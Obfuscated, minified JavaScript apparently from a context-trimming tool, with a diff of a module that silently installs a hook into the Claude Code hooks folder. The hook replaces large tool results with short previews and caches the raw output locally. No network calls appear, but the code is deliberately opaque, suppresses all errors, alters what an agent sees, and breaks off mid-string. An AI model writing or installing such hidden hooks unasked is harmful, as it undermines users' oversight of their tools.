_0x2d229e=_0x4f3db9[_0xfca43b(0x1df)]();if(_0x2d229e[_0xfca43b(0x1f7)]('import\x20')||_0x2d229e[_0xfca43b(0x1f7)](_0xfca43b(0x22e))||_0x2d229e[_0xfca43b(0x1f7)](_0xfca43b(0x227))||_0x2d229e[_0xfca43b(0x1e9)](/=\s*require\(/)||_0x2d229e[_0xfca43b(0x1f7)](_0xfca43b(0x215))||_0x2d229e[_0xfca43b(0x1f7)](_0xfca43b(0x250))||_0x2d229e[_0xfca43b(0x1f7)](_0xfca43b(0x22c)))_0x3c35c0[_0xfca43b(0x22b)](_0x4f3db9);else{if(_0x2d229e[_0xfca43b(0x1e9)](/^(export\s+)?(async\s+)?function\s+/)||_0x2d229e[_0xfca43b(0x1e9)](/^(export\s+)?(default\s+)?class\s+/)||_0x2d229e[_0xfca43b(0x1e9)](/^(export\s+)?(type|interface|enum)\s+/)||_0x2d229e[_0xfca43b(0x1e9)](/^(async\s+)?def\s+/)||_0x2d229e[_0xfca43b(0x1e9)](/^func\s+/)||_0x2d229e[_0xfca43b(0x1e9)](/^type\s+\w+\s+(struct|interface)/)||_0x2d229e[_0xfca43b(0x1e9)](/^(pub\s+)?(async\s+)?fn\s+/)||_0x2d229e[_0xfca43b(0x1e9)](/^(pub\s+)?(struct|enum|trait|impl)\s+/)||_0x2d229e[_0xfca43b(0x1e9)](/^(public|private|protected|static)\s+/))_0x3c35c0[_0xfca43b(0x22b)](_0x4f3db9);else{if(_0x2d229e[_0xfca43b(0x1f7)](_0xfca43b(0x1dc))&&!_0x2d229e[_0xfca43b(0x1fa)]('=>')&&_0x2d229e[_0xfca43b(0x253)]<0x78)_0x3c35c0[_0xfca43b(0x22b)](_0x4f3db9);else _0x2d229e[_0xfca43b(0x1f7)]('@')&&!_0x2d229e[_0xfca43b(0x1f7)](_0xfca43b(0x1ed))&&!_0x2d229e[_0xfca43b(0x1f7)]('@return')&&_0x3c35c0[_0xfca43b(0x22b)](_0x4f3db9);}}}_0x3c35c0[_0xfca43b(0x22b)](''),_0x3c35c0['push']('('+_0x174b33[_0xfca43b(0x253)]+_0xfca43b(0x1bf)+(_0x3c35c0[_0xfca43b(0x253)]-0x2)+_0xfca43b(0x244));const _0x11f601=_0x3c35c0[_0xfca43b(0x1c2)]('\x0a');if(_0x11f601['length']<_0x54856a[_0xfca43b(0x253)])return _0x11f601;}}}}catch{}let _0x584815=(0x0,generic_1['collapseWhitespace'])(_0x54856a);if(_0x359153){const _0x1151ee=path[_0xfca43b(0x1fb)](_0x359153)[_0xfca43b(0x23f)]();_0x584815=(0x0,generic_1[_0xfca43b(0x1f8)])(_0x584815,_0x1151ee);}const _0x5c4e25=_0x584815[_0xfca43b(0x200)]('\x0a');if(_0x5c4e25['length']<=0x64)return _0x584815;const _0x1df4b3=[];return _0x1df4b3[_0xfca43b(0x22b)](..._0x5c4e25['slice'](0x0,0x32)),_0x1df4b3[_0xfca43b(0x22b)](_0xfca43b(0x206)+(_0x5c4e25[_0xfca43b(0x253)]-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0x1df4b3['push'](..._0x5c4e25[_0xfca43b(0x1d7)](-0x1e)),_0x1df4b3[_0xfca43b(0x22b)]('\x0a('+_0x5c4e25[_0xfca43b(0x253)]+'\x20lines\x20total)'),_0x1df4b3['join']('\x0a');}function filterGrep(_0x5a2390){const _0x4835cd=a0_0x1162d7,_0x1e263b=_0x5a2390[_0x4835cd(0x200)]('\x0a')[_0x4835cd(0x245)](_0x3d2737=>_0x3d2737[_0x4835cd(0x1df)]()['length']>0x0);if(_0x1e263b['length']===0x0)return'No\x20matches\x20found';if(_0x1e263b[_0x4835cd(0x253)]<=0x32)return _0x5a2390['trim']();const _0x5bfba9={},_0x4a3513=[];for(const _0x4e6c11 of _0x1e263b){const _0x105931=_0x4e6c11[_0x4835cd(0x1c8)](':');if(_0x105931>0x0&&_0x105931<0xc8){const _0x296725=_0x4e6c11['substring'](0x0,_0x105931);if(_0x296725['includes']('/')||_0x296725[_0x4835cd(0x1fa)]('\x5c')||_0x296725[_0x4835cd(0x1fa)]('.')){if(!_0x5bfba9[_0x296725])_0x5bfba9[_0x296725]=[];_0x5bfba9[_0x296725][_0x4835cd(0x22b)](_0x4e6c11[_0x4835cd(0x1de)](_0x105931+0x1)['trim']());continue;}}_0x4a3513[_0x4835cd(0x22b)](_0x4e6c11);}const _0x276f63=[],_0x32caf8=Object[_0x4835cd(0x1eb)](_0x5bfba9);if(_0x32caf8[_0x4835cd(0x253)]>0x0){const _0x31295d=0x14,_0xce6e40=_0x32caf8[_0x4835cd(0x1d7)](0x0,_0x31295d);for(const _0x7b248f of _0xce6e40){const _0xbb675b=_0x5bfba9[_0x7b248f];if(_0xbb675b[_0x4835cd(0x253)]<=0x3)for(const _0x3b7144 of _0xbb675b){_0x276f63[_0x4835cd(0x22b)](_0x7b248f+':\x20'+_0x3b7144);}else _0x276f63[_0x4835cd(0x22b)](_0x7b248f+':\x20'+_0xbb675b[0x0]),_0x276f63['push'](_0x7b248f+_0x4835cd(0x248)+_0xbb675b[_0x4835cd(0x253)]+_0x4835cd(0x231));}_0x32caf8['length']>_0x31295d&&_0x276f63[_0x4835cd(0x22b)](_0x4835cd(0x225)+(_0x32caf8[_0x4835cd(0x253)]-_0x31295d)+_0x4835cd(0x22d));}if(_0x4a3513[_0x4835cd(0x253)]>0x0){const _0x78e67a=0x1e;_0x276f63[_0x4835cd(0x22b)](..._0x4a3513[_0x4835cd(0x1d7)](0x0,_0x78e67a)),_0x4a3513[_0x4835cd(0x253)]>_0x78e67a&&_0x276f63[_0x4835cd(0x22b)](_0x4835cd(0x225)+(_0x4a3513[_0x4835cd(0x253)]-_0x78e67a)+_0x4835cd(0x238));}const _0x1d17e3=_0x1e263b['length'];return _0x276f63['push']('\x0a('+_0x1d17e3+_0x4835cd(0x21a)+(_0x32caf8[_0x4835cd(0x253)]||'?')+_0x4835cd(0x20f)),_0x276f63['join']('\x0a');}function filterFind(_0x676b5){const _0x5d654d=a0_0x1162d7,_0x742a43=_0x676b5['split']('\x0a')[_0x5d654d(0x245)](_0x54a59c=>_0x54a59c[_0x5d654d(0x1df)]()[_0x5d654d(0x253)]>0x0);if(_0x742a43[_0x5d654d(0x253)]===0x0)return _0x5d654d(0x1d3);if(_0x742a43[_0x5d654d(0x253)]<=0x32)return _0x676b5[_0x5d654d(0x1df)]();const _0x2e0aa1={};for(const _0x5c7f32 of _0x742a43){const _0xe75d29=path[_0x5d654d(0x252)](_0x5c7f32[_0x5d654d(0x1df)]())||'.';_0x2e0aa1[_0xe75d29]=(_0x2e0aa1[_0xe75d29]||0x0)+0x1;}const _0x508536=Object[_0x5d654d(0x223)](_0x2e0aa1)['sort']((_0x631f9a,_0x575dcf)=>_0x575dcf[0x1]-_0x631f9a[0x1]),_0x4005b5=[_0x742a43[_0x5d654d(0x253)]+_0x5d654d(0x203)+_0x508536['length']+_0x5d654d(0x20c),''],_0x344b4a=0x1e;for(const [_0x2d2516,_0x130eed]of _0x508536['slice'](0x0,_0x344b4a)){_0x4005b5[_0x5d654d(0x22b)]('\x20\x20'+_0x2d2516+'/\x20('+_0x130eed+_0x5d654d(0x20f));}return _0x508536[_0x5d654d(0x253)]>_0x344b4a&&_0x4005b5['push']('\x20\x20...\x20+'+(_0x508536[_0x5d654d(0x253)]-_0x344b4a)+'\x20more\x20directories'),_0x4005b5[_0x5d654d(0x1c2)]('\x0a');}function a0_0x1679(){const _0x4d5bc1=['push','package\x20','\x20more\x20files\x20with\x20matches','from\x20','.woff2','get','\x20matches\x20in\x20this\x20file)','[lock\x20file]\x20','.cs','.pyc','json_crusher','.kt','.ts','\x20more\x20matches','2269loTBeU','create','\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)','.mp4','features_enabled','8grNyCi','toLowerCase','.exe','.go','toLocaleString','default','\x20structural\x20lines\x20shown)','filter','lock','.so',':\x20...\x20(','704049dJfJPl','.svg','skeleton','Cargo.lock','.min.css','total\x20','.min.js','use\x20','./generic','dirname','length','.rs','.java','\x20lines\x20total,\x20','.dat','prototype','join','\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)','.wav','package-lock.json','158VAtenL','.tsx','indexOf','filterFind','smartCrushJson','filterGrep','15650613IwBHps','path','.pyo','Empty\x20directory','../tracker','.dylib','basename','No\x20files\x20found','.eot','stringify','.zip','slice','.swift','.ico','.sqlite','334758ujWzAk','export\x20','.wasm','substring','trim','[code\x20skeleton]\x20','getConfig','\x20directories,\x20','go.sum','__createBinding','composer.lock','[minified\x20file]\x20','[binary\x20file]\x20','.obj','match','packages','keys','.mov','@param','.dll','Gemfile.lock','\x20chars,\x20type:\x20','.otf','407820zkzvMi','pnpm-lock.yaml','9kMmHUo','.rb','.webm','startsWith','stripComments','.class','includes','extname','call','charCodeAt','endsWith','1106ZeCvbm','split','bun.lockb','\x20more\x20directories','\x20files\x20found\x20across\x20','.rar','\x20more\x20files','\x0a...\x20[','\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)','cargo.lock','.jpeg','.jsx','.tgz','\x20directories','.bmp','defineProperty','\x20files)','floor','__setModuleDefault','yarn.lock','.webp','.py','#include\x20','6468290Vvmbix','filterCat','\x20dependencies,\x20','37672FfjvjJ','\x20matches\x20across\x20','.cpp','.tar.gz','__esModule','hasOwnProperty','getOwnPropertyNames','.gif','.avi','configurable','entries','__importStar','...\x20+','poetry.lock','require(','.bz2','.jpg','parse'];a0_0x1679=function(){return _0x4d5bc1;};return a0_0x1679();}
@@ -1 +1 @@
1
- 'use strict';var a0_0x1ce4be=a0_0x176f;function a0_0x176f(_0x4e707f,_0x4fd5b1){_0x4e707f=_0x4e707f-0xa8;var _0x267292=a0_0x2672();var _0x176fed=_0x267292[_0x4e707f];return _0x176fed;}function a0_0x2672(){var _0x56b18f=['existsSync','installClaudeHooks','length','getOwnPropertyDescriptor','2878zYxWxM','mkdirSync','defineProperty','50JEHPmJ','55hMVZym','create','301556CCSasa','call','153prFTpb','__esModule','hooks','//\x20TrimPrompt\x20Native\x20PostToolUse\x20Hook\x20for\x20Claude\x20Code\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x27os\x27);\x0a\x0amodule.exports\x20=\x20async\x20function\x20postToolUse(event)\x20{\x0a\x20\x20try\x20{\x0a\x20\x20\x20\x20if\x20(!event\x20||\x20!event.result)\x20return\x20event;\x0a\x20\x20\x20\x20let\x20contentStr\x20=\x20typeof\x20event.result\x20===\x20\x27string\x27\x20?\x20event.result\x20:\x20JSON.stringify(event.result);\x0a\x20\x20\x20\x20if\x20(contentStr.length\x20>\x20500)\x20{\x0a\x20\x20\x20\x20\x20\x20const\x20baseDir\x20=\x20path.join(os.homedir(),\x20\x27.trimprompt\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20cacheDir\x20=\x20path.join(baseDir,\x20\x27cache\x27);\x0a\x20\x20\x20\x20\x20\x20if\x20(!fs.existsSync(cacheDir))\x20fs.mkdirSync(cacheDir,\x20{\x20recursive:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20const\x20chunkId\x20=\x20\x27chunk_\x27\x20+\x20Math.random().toString(36).substring(2,\x2011);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20rawTokens\x20=\x20Math.ceil(contentStr.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20snippet\x20=\x20contentStr.substring(0,\x20200).replace(/\x5cn/g,\x20\x27\x20\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20replacement\x20=\x20`>\x20[!NOTE]\x5cn>\x20**[TrimPrompt\x20Context\x20Offloaded]**\x20Raw\x20tool\x20output\x20(${contentStr.length.toLocaleString()}\x20chars)\x20side-cached\x20locally.\x5cn>\x20Preview:\x20${snippet}...\x5cn>\x20Retrieve\x20raw:\x20\x5c`trim\x20retrieve\x20${chunkId}\x5c``;\x0a\x20\x20\x20\x20\x20\x20const\x20compressedTokens\x20=\x20Math.ceil(replacement.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20const\x20savedTokens\x20=\x20Math.max(0,\x20rawTokens\x20-\x20compressedTokens);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20fs.writeFileSync(path.join(cacheDir,\x20chunkId\x20+\x20\x27.json\x27),\x20JSON.stringify({\x0a\x20\x20\x20\x20\x20\x20\x20\x20chunk_id:\x20chunkId,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_tokens:\x20rawTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20compressed_tokens:\x20compressedTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20created_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20last_accessed_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20summary:\x20`Summary:\x20Tool\x20result\x20offloaded\x20(${rawTokens}\x20tokens).`,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_payload:\x20contentStr\x0a\x20\x20\x20\x20\x20\x20},\x20null,\x202));\x0a\x0a\x20\x20\x20\x20\x20\x20if\x20(typeof\x20event.result\x20===\x20\x27string\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(event.result\x20&&\x20typeof\x20event.result\x20===\x20\x27object\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result.content\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20//\x20Update\x20sessions_state.json\x20with\x20hook\x20savings\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20statePath\x20=\x20path.join(baseDir,\x20\x27sessions_state.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20state\x20=\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(statePath))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x20state\x20=\x20JSON.parse(fs.readFileSync(statePath,\x20\x27utf8\x27))\x20||\x20{};\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20//\x20Find\x20latest\x20session\x20file\x20for\x20\x27claude\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20claudeDirs\x20=\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27projects\x27),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27history\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20];\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestFullPath\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestTime\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20dir\x20of\x20claudeDirs)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(dir))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20scanDir\x20=\x20(currentDir,\x20depth\x20=\x200)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(depth\x20>\x206)\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20entries\x20=\x20fs.readdirSync(currentDir,\x20{\x20withFileTypes:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20entry\x20of\x20entries)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20full\x20=\x20path.join(currentDir,\x20entry.name);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.isDirectory())\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(full,\x20depth\x20+\x201);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(entry.isFile()\x20&&\x20!entry.name.startsWith(\x27.\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.name.endsWith(\x27.jsonl\x27)\x20||\x20entry.name.endsWith(\x27.json1\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20stat\x20=\x20fs.statSync(full);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(stat.mtimeMs\x20>\x20latestTime)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestTime\x20=\x20stat.mtimeMs;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestFullPath\x20=\x20full;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(dir);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(latestFullPath)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20existing\x20=\x20state[latestFullPath]\x20||\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20prevHook\x20=\x20existing.hookSavedTokens\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newHook\x20=\x20prevHook\x20+\x20savedTokens;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalOfficial\x20=\x20existing.officialCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalAuto\x20=\x20existing.autoCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20state[latestFullPath]\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lineCount:\x20existing.lineCount\x20||\x201,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20activeSavedTokens:\x20finalOfficial\x20+\x20finalAuto\x20+\x20newHook,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20sideCacheSaved:\x20existing.sideCacheSaved\x20||\x200,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20officialCompactSaved:\x20finalOfficial,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20autoCompactSaved:\x20finalAuto,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20hookSavedTokens:\x20newHook\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(statePath,\x20JSON.stringify(state,\x20null,\x202),\x20\x27utf8\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20}\x0a\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20return\x20event;\x0a};\x0a','20808cgzcfI','prototype','__createBinding','post_tool_use.js','2826164nNNzaU','24mjAQPt','6554198JTynXR','configurable','homedir','join','6490518FPKdhS','utf8','670327ZXYOyM','getOwnPropertyNames','hasOwnProperty','__setModuleDefault','default','.claude','get'];a0_0x2672=function(){return _0x56b18f;};return a0_0x2672();}(function(_0xa7743a,_0x2f7f4b){var _0x342c23=a0_0x176f,_0xe91bb5=_0xa7743a();while(!![]){try{var _0x5bd7ce=parseInt(_0x342c23(0xa8))/0x1+parseInt(_0x342c23(0xb3))/0x2*(-parseInt(_0x342c23(0xc4))/0x3)+parseInt(_0x342c23(0xb9))/0x4*(parseInt(_0x342c23(0xb7))/0x5)+-parseInt(_0x342c23(0xc9))/0x6+-parseInt(_0x342c23(0xc5))/0x7+-parseInt(_0x342c23(0xbf))/0x8*(-parseInt(_0x342c23(0xbb))/0x9)+parseInt(_0x342c23(0xb6))/0xa*(parseInt(_0x342c23(0xc3))/0xb);if(_0x5bd7ce===_0x2f7f4b)break;else _0xe91bb5['push'](_0xe91bb5['shift']());}catch(_0x1c21cd){_0xe91bb5['push'](_0xe91bb5['shift']());}}}(a0_0x2672,0xc3090));var __createBinding=this&&this[a0_0x1ce4be(0xc1)]||(Object['create']?function(_0x18a1e2,_0x373058,_0x18d5af,_0x2c4442){var _0x5e70ea=a0_0x1ce4be;if(_0x2c4442===undefined)_0x2c4442=_0x18d5af;var _0x477c29=Object[_0x5e70ea(0xb2)](_0x373058,_0x18d5af);(!_0x477c29||(_0x5e70ea(0xae)in _0x477c29?!_0x373058['__esModule']:_0x477c29['writable']||_0x477c29[_0x5e70ea(0xc6)]))&&(_0x477c29={'enumerable':!![],'get':function(){return _0x373058[_0x18d5af];}}),Object['defineProperty'](_0x18a1e2,_0x2c4442,_0x477c29);}:function(_0x4b64be,_0x122afd,_0x43eb6c,_0x4f50c0){if(_0x4f50c0===undefined)_0x4f50c0=_0x43eb6c;_0x4b64be[_0x4f50c0]=_0x122afd[_0x43eb6c];}),__setModuleDefault=this&&this[a0_0x1ce4be(0xab)]||(Object[a0_0x1ce4be(0xb8)]?function(_0x265f9b,_0x3a9aec){var _0x3c9823=a0_0x1ce4be;Object['defineProperty'](_0x265f9b,_0x3c9823(0xac),{'enumerable':!![],'value':_0x3a9aec});}:function(_0x4897e8,_0x2eda17){var _0xedf291=a0_0x1ce4be;_0x4897e8[_0xedf291(0xac)]=_0x2eda17;}),__importStar=this&&this['__importStar']||(function(){var _0x31313d=function(_0x2bdea5){var _0x2d44e0=a0_0x176f;return _0x31313d=Object[_0x2d44e0(0xa9)]||function(_0x27fb54){var _0x107cbf=_0x2d44e0,_0x42a5ef=[];for(var _0x4d9cb3 in _0x27fb54)if(Object[_0x107cbf(0xc0)][_0x107cbf(0xaa)][_0x107cbf(0xba)](_0x27fb54,_0x4d9cb3))_0x42a5ef[_0x42a5ef['length']]=_0x4d9cb3;return _0x42a5ef;},_0x31313d(_0x2bdea5);};return function(_0x2ab716){var _0xbad377=a0_0x176f;if(_0x2ab716&&_0x2ab716[_0xbad377(0xbc)])return _0x2ab716;var _0x16a61a={};if(_0x2ab716!=null){for(var _0x5a4759=_0x31313d(_0x2ab716),_0x163b8b=0x0;_0x163b8b<_0x5a4759[_0xbad377(0xb1)];_0x163b8b++)if(_0x5a4759[_0x163b8b]!==_0xbad377(0xac))__createBinding(_0x16a61a,_0x2ab716,_0x5a4759[_0x163b8b]);}return __setModuleDefault(_0x16a61a,_0x2ab716),_0x16a61a;};}());Object[a0_0x1ce4be(0xb5)](exports,a0_0x1ce4be(0xbc),{'value':!![]}),exports[a0_0x1ce4be(0xb0)]=installClaudeHooks;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os'));function installClaudeHooks(){var _0x5e7057=a0_0x1ce4be;try{const _0x25f45b=path['join'](os[_0x5e7057(0xc7)](),_0x5e7057(0xad),_0x5e7057(0xbd));!fs[_0x5e7057(0xaf)](_0x25f45b)&&fs[_0x5e7057(0xb4)](_0x25f45b,{'recursive':!![]});const _0x14675e=path[_0x5e7057(0xc8)](_0x25f45b,_0x5e7057(0xc2)),_0x4b862b=_0x5e7057(0xbe);fs['writeFileSync'](_0x14675e,_0x4b862b,_0x5e7057(0xca));}catch(_0x412f74){}}
1
+ 'use strict';var a0_0x32181d=a0_0x116e;function a0_0x116e(_0x533229,_0x3f1a04){var _0x50538e=a0_0x5053();return a0_0x116e=function(_0x116e85,_0x27b8cd){_0x116e85=_0x116e85-0x118;var _0x594b6e=_0x50538e[_0x116e85];return _0x594b6e;},a0_0x116e(_0x533229,_0x3f1a04);}(function(_0x2f5183,_0x2cf619){var _0x4dcb91=a0_0x116e,_0x512666=_0x2f5183();while(!![]){try{var _0x33dc52=-parseInt(_0x4dcb91(0x127))/0x1*(-parseInt(_0x4dcb91(0x121))/0x2)+parseInt(_0x4dcb91(0x12d))/0x3+parseInt(_0x4dcb91(0x118))/0x4+parseInt(_0x4dcb91(0x12f))/0x5+parseInt(_0x4dcb91(0x119))/0x6+-parseInt(_0x4dcb91(0x11f))/0x7*(-parseInt(_0x4dcb91(0x124))/0x8)+parseInt(_0x4dcb91(0x12a))/0x9*(-parseInt(_0x4dcb91(0x131))/0xa);if(_0x33dc52===_0x2cf619)break;else _0x512666['push'](_0x512666['shift']());}catch(_0x3bc3e5){_0x512666['push'](_0x512666['shift']());}}}(a0_0x5053,0x3671f));function a0_0x5053(){var _0x5b40e7=['2214810SMjXEt','default','get','__importStar','installClaudeHooks','getOwnPropertyDescriptor','248913yGzqyR','defineProperty','8MrDgwf','writable','getOwnPropertyNames','80asyIhb','utf8','__esModule','75347UWRaFM','create','//\x20TrimPrompt\x20Native\x20PostToolUse\x20Hook\x20for\x20Claude\x20Code\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x27os\x27);\x0a\x0amodule.exports\x20=\x20async\x20function\x20postToolUse(event)\x20{\x0a\x20\x20try\x20{\x0a\x20\x20\x20\x20if\x20(!event\x20||\x20!event.result)\x20return\x20event;\x0a\x20\x20\x20\x20let\x20contentStr\x20=\x20typeof\x20event.result\x20===\x20\x27string\x27\x20?\x20event.result\x20:\x20JSON.stringify(event.result);\x0a\x20\x20\x20\x20if\x20(contentStr.length\x20>\x20500)\x20{\x0a\x20\x20\x20\x20\x20\x20const\x20baseDir\x20=\x20path.join(os.homedir(),\x20\x27.trimprompt\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20cacheDir\x20=\x20path.join(baseDir,\x20\x27cache\x27);\x0a\x20\x20\x20\x20\x20\x20if\x20(!fs.existsSync(cacheDir))\x20fs.mkdirSync(cacheDir,\x20{\x20recursive:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20const\x20chunkId\x20=\x20\x27chunk_\x27\x20+\x20Math.random().toString(36).substring(2,\x2011);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20rawTokens\x20=\x20Math.ceil(contentStr.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20snippet\x20=\x20contentStr.substring(0,\x20200).replace(/\x5cn/g,\x20\x27\x20\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20replacement\x20=\x20`>\x20[!NOTE]\x5cn>\x20**[TrimPrompt\x20Context\x20Offloaded]**\x20Raw\x20tool\x20output\x20(${contentStr.length.toLocaleString()}\x20chars)\x20side-cached\x20locally.\x5cn>\x20Preview:\x20${snippet}...\x5cn>\x20Retrieve\x20raw:\x20\x5c`trim\x20retrieve\x20${chunkId}\x5c``;\x0a\x20\x20\x20\x20\x20\x20const\x20compressedTokens\x20=\x20Math.ceil(replacement.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20const\x20savedTokens\x20=\x20Math.max(0,\x20rawTokens\x20-\x20compressedTokens);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20fs.writeFileSync(path.join(cacheDir,\x20chunkId\x20+\x20\x27.json\x27),\x20JSON.stringify({\x0a\x20\x20\x20\x20\x20\x20\x20\x20chunk_id:\x20chunkId,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_tokens:\x20rawTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20compressed_tokens:\x20compressedTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20created_at:\x20new\x20Da